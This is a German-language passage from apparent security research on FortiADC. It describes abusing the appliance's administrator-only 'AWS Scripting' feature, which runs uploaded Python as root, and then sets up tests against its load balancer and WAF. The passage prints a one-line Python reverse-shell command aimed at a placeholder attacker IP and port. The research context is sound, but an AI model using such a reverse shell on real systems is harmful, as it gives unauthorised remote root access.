Nachdem wir eine Instanz des Produkts bereitgestellt hatten, wurden seine Komponenten analysiert. Eines der ersten Dinge, die identifiziert wurden, war die sogenannte "AWS Scripting"-Funktionalität, die es einem Administrator ermöglicht, bestimmte Verwaltungsaufgaben auszuführen, indem er Python-Skripte hochlädt und sie ausführt:
"FortiADC bietet Benutzern die Möglichkeit, jede AWS API auszuführen - Benutzer können Python-Skripte auf FortiADC hochladen (System > AWS Scripting Seite) mit der Einstellung der Verkehrsgruppe und das Skript auf dem FortiADC ausführen, zu dem seine Verkehrsgruppe gehört."
Mit anderen Worten bedeutet dies, dass Benutzer beliebige Python-Skripte auf dem Anwendungsserver ausführen dürfen. Was kann da schon schief gehen? Diese Funktionalität kann missbraucht werden, indem das folgende Skript hochgeladen und ausgeführt wird, um eine Reverse Shell auf einem von einem Angreifer kontrollierten Rechner zu starten.
import os; os.system("bash -i >& /dev/tcp/<Angreifer-ip>/<Port> 0>&1")
Es wurde beschlossen, dieses Problem nicht an den Hersteller zu melden, da es Teil der beabsichtigten Funktionalität war, die dem Administrator zur Verfügung steht, und man davon ausging, dass der Hersteller es nicht als Sicherheitslücke betrachten würde. Da sich jedoch herausstellte, dass die SSH-Verwaltungsschnittstelle von FortiADC recht eingeschränkt ist und nur die Möglichkeit bietet, mit bestimmten Komponenten der Anwendung zu interagieren, könnte ein Zugriff auf das Betriebssystem die weitere Analyse der Anwendung erleichtern. Es ist auch erwähnenswert, dass die Anwendung standardmäßig als Root-Benutzer läuft.
Die Ausführung von Remote-Befehlen gilt in der Regel als Kronjuwel bei der Erforschung von Sicherheitslücken. Daher wurde versucht, Wege zu finden, um sie aus der Perspektive nicht-authentifizierter Benutzer auszulösen. Da jedoch keine Authentifizierungs- oder Autorisierungsprobleme festgestellt werden konnten, wurde beschlossen, den Schwerpunkt von Angriffen auf die Verwaltungsoberfläche selbst auf die Identifizierung von Schwachstellen in der Art und Weise zu verlagern, wie FortiADC Anfragen an Ressourcen hinter dem Load Balancer und der Web Application Firewall (WAF) behandelt. Zu diesem Zweck wurde ein einfacher Webserver separat installiert und so konfiguriert, dass er vom integrierten FortiADC Load Balancer verwaltet wird. Die WAF-Komponente wurde auch für die entsprechende Load Balancing-Gruppe aktiviert. Auf dem Webserver hinter dem Load Balancer wurde eine einfache Webanwendung implementiert, die nur die mit den eingehenden Anfragen übermittelten Parameter zurückgab.